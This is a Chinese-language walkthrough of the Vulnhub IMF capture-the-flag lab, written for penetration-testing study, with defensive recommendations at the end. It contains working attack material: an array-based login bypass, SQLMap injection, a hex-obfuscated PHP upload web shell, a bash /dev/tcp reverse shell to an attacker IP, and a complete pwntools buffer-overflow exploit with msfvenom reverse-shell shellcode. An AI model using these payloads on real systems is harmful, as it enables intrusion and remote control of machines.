[Vulnhub] IMF File Upload Bypass&Buffer Overflow
字数 1600 2025-08-19 12:41:30

IMF File Upload Bypass & Buffer Overflow 漏洞利用教学文档

1. 信息收集阶段

1.1 目标识别

  • IP地址: 192.168.8.103
  • 开放端口: TCP 80 (HTTP)

1.2 Nmap扫描

nmap -p- 192.168.8.103 --min-rate 1000 -sC -sV

扫描结果:

  • 80/tcp open http Apache httpd 2.4.18 (Ubuntu)
  • 网站标题: IMF - Homepage

2. Flag获取过程

2.1 Flag 1

位置: http://192.168.8.103/contact.php
内容: flag1{YWxsdGhlZmlsZXM=}
解码: allthefiles (Base64解码)

2.2 Flag 2

通过拼接文件名发现:
Base64编码: ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
解码: flag2{aW1mYWRtaW5pc3RyYXRvcg==}
二次解码: imfadministrator

2.3 Flag 3

登录页面: http://192.168.8.103/imfadministrator/
登录凭证:

  • 用户名: rmichaels
  • 密码: pass[]=123 (使用数组绕过验证)

Flag内容: flag3{Y29udGludWVUT2Ntcw==}
解码: continueTOcms

2.4 Flag 4

使用SQLMap进行SQL注入:

sqlmap -u "http://192.168.8.103/imfadministrator/cms.php?pagename=home" \
--cookie "PHPSESSID=mtcagv7kevus11r651k0ekor65" \
-D admin -T pages --dump-all --batch

发现文件: uploadr942.php (Base64解码dXBsb2Fkcjk0Mi5waHA=)

2.5 Flag 5

上传绕过技术1:

  • 在请求体中添加GIF8;伪造文件头
  • 使用十六进制编码绕过WAF过滤system关键字
GIF8;<?php"\x73\79\x73\x74\x65\x6d"($_GET['cmd']);?>

上传绕过技术2:

echo 'FFD8FFEo' | xxd -r -p > test.gif
echo '<?php echo `id`' >> test.gif
echo 'GIF8;<?php echo `/bin/bash -c 'bash -i >& /dev/tcp/192.168.8.107/10032 0>&1'`;?>' >> test.gif

获取Flag5: flag5{YWdlbnRzZXJ2aWNlcw==}
解码: agentservices

3. 缓冲区溢出利用

3.1 环境设置

使用Chisel建立反向隧道:

# Kali (攻击机)
./chisel server -p 8888 --reverse

# 目标机
./chisel client 192.168.8.107:8888 R:7788:localhost:7788 &

3.2 漏洞分析

  • 发现agent程序在输入特定ID(0x2ddd984或48093572)后会以root权限运行
  • report函数中的gets函数存在缓冲区溢出漏洞

3.3 安全机制检查

使用GDB Peda检查二进制文件安全机制:

gdb -q ./agents
checksec

结果:

  • CANARY: disabled
  • FORTIFY: disabled
  • NX: disabled
  • PIE: disabled
  • RELRO: Partial

3.4 漏洞利用步骤

  1. 确定偏移量:
pattern_create 2000
pattern_offset 0x74414156

发现偏移量为168字节

  1. 生成Shellcode:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.8.107 LPORT=10034 \
-f python -b "\x00\x0a\x0d"
  1. 查找ROP gadget:
    发现call eax指令地址: 0x08048563

3.5 利用脚本

from pwn import *

# 设置参数
ip = "127.0.0.1"
port = 7788
local_port = 10034

# 建立连接
client = remote(ip, port)
initial_response = client.recv(512).decode()

# 发送特殊ID
client.sendline(b"48093572")
response1 = client.recv(512).decode()
client.sendline(b"3")

# 构造payload
shellcode = (
    b"\xbe\xd7\x72\xc5\xb1\xd9\xeb\xd9\x74\x24\xf4\x58\x2b"
    b"\xc9\xb1\x12\x31\x70\x12\x03\x70\x12\x83\x17\x76\x27"
    b"\x44\xa6\xac\x50\x44\x9b\x11\xcc\xe1\x19\x1f\x13\x45"
    b"\x7b\xd2\x54\x35\xda\x5c\x6b\xf7\x5c\xd5\xed\xfe\x34"
    b"\x26\xa5\x09\xaf\xce\xb4\x09\x08\x3d\x30\xe8\xe6\x27"
    b"\x12\xba\x55\x1b\x91\xb5\xb8\x96\x16\x97\x52\x47\x38"
    b"\x6b\xca\xff\x69\xa4\x68\x69\xff\x59\x3e\x3a\x76\x7c"
    b"\x0e\xb7\x45\xff"
)

padding = b"A" * (168 - len(shellcode))
call_eax_gadget = b"\x63\x85\x04\x08\n"
payload = shellcode + padding + call_eax_gadget

# 设置监听并发送payload
listener = listen(local_port)
client.send(payload)
listener.wait_for_connection()
listener.interactive()

4. 关键知识点总结

  1. 文件上传绕过技术:

    • 伪造文件头(GIF8)
    • 十六进制编码绕过关键字过滤
    • 使用数组绕过身份验证
  2. SQL注入:

    • 使用SQLMap自动化工具
    • 需要维持会话cookie
  3. 缓冲区溢出利用:

    • 确定偏移量
    • 检查安全机制
    • 生成无坏字符的shellcode
    • 利用ROP gadget跳转执行
  4. 权限提升:

    • 利用root权限运行的服务
    • 建立反向shell连接
  5. 网络隧道:

    • 使用Chisel建立反向隧道
    • 端口转发技术

5. 防御建议

  1. 文件上传:

    • 严格验证文件类型和内容
    • 使用白名单而非黑名单
    • 在服务器端进行验证
  2. SQL注入:

    • 使用预处理语句
    • 最小权限原则
  3. 缓冲区溢出:

    • 启用所有安全机制(CANARY, NX, PIE等)
    • 使用安全的字符串处理函数
    • 进行边界检查
  4. 权限控制:

    • 避免以root权限运行应用程序
    • 使用最小特权原则
  5. 输入验证:

    • 对所有用户输入进行严格验证
    • 使用安全的API处理用户输入
IMF File Upload Bypass & Buffer Overflow 漏洞利用教学文档 1. 信息收集阶段 1.1 目标识别 IP地址 : 192.168.8.103 开放端口 : TCP 80 (HTTP) 1.2 Nmap扫描 扫描结果 : 80/tcp open http Apache httpd 2.4.18 (Ubuntu) 网站标题: IMF - Homepage 2. Flag获取过程 2.1 Flag 1 位置 : http://192.168.8.103/contact.php 内容 : flag1{YWxsdGhlZmlsZXM=} 解码 : allthefiles (Base64解码) 2.2 Flag 2 通过拼接文件名发现: Base64编码 : ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ== 解码 : flag2{aW1mYWRtaW5pc3RyYXRvcg==} 二次解码 : imfadministrator 2.3 Flag 3 登录页面 : http://192.168.8.103/imfadministrator/ 登录凭证 : 用户名: rmichaels 密码: pass[]=123 (使用数组绕过验证) Flag内容 : flag3{Y29udGludWVUT2Ntcw==} 解码 : continueTOcms 2.4 Flag 4 使用SQLMap进行SQL注入: 发现文件 : uploadr942.php (Base64解码 dXBsb2Fkcjk0Mi5waHA= ) 2.5 Flag 5 上传绕过技术1 : 在请求体中添加 GIF8; 伪造文件头 使用十六进制编码绕过WAF过滤 system 关键字 上传绕过技术2 : 获取Flag5 : flag5{YWdlbnRzZXJ2aWNlcw==} 解码 : agentservices 3. 缓冲区溢出利用 3.1 环境设置 使用Chisel建立反向隧道: 3.2 漏洞分析 发现 agent 程序在输入特定ID( 0x2ddd984 或48093572)后会以root权限运行 report 函数中的 gets 函数存在缓冲区溢出漏洞 3.3 安全机制检查 使用GDB Peda检查二进制文件安全机制: 结果 : CANARY: disabled FORTIFY: disabled NX: disabled PIE: disabled RELRO: Partial 3.4 漏洞利用步骤 确定偏移量 : 发现偏移量为168字节 生成Shellcode : 查找ROP gadget : 发现 call eax 指令地址: 0x08048563 3.5 利用脚本 4. 关键知识点总结 文件上传绕过技术 : 伪造文件头(GIF8) 十六进制编码绕过关键字过滤 使用数组绕过身份验证 SQL注入 : 使用SQLMap自动化工具 需要维持会话cookie 缓冲区溢出利用 : 确定偏移量 检查安全机制 生成无坏字符的shellcode 利用ROP gadget跳转执行 权限提升 : 利用root权限运行的服务 建立反向shell连接 网络隧道 : 使用Chisel建立反向隧道 端口转发技术 5. 防御建议 文件上传 : 严格验证文件类型和内容 使用白名单而非黑名单 在服务器端进行验证 SQL注入 : 使用预处理语句 最小权限原则 缓冲区溢出 : 启用所有安全机制(CANARY, NX, PIE等) 使用安全的字符串处理函数 进行边界检查 权限控制 : 避免以root权限运行应用程序 使用最小特权原则 输入验证 : 对所有用户输入进行严格验证 使用安全的API处理用户输入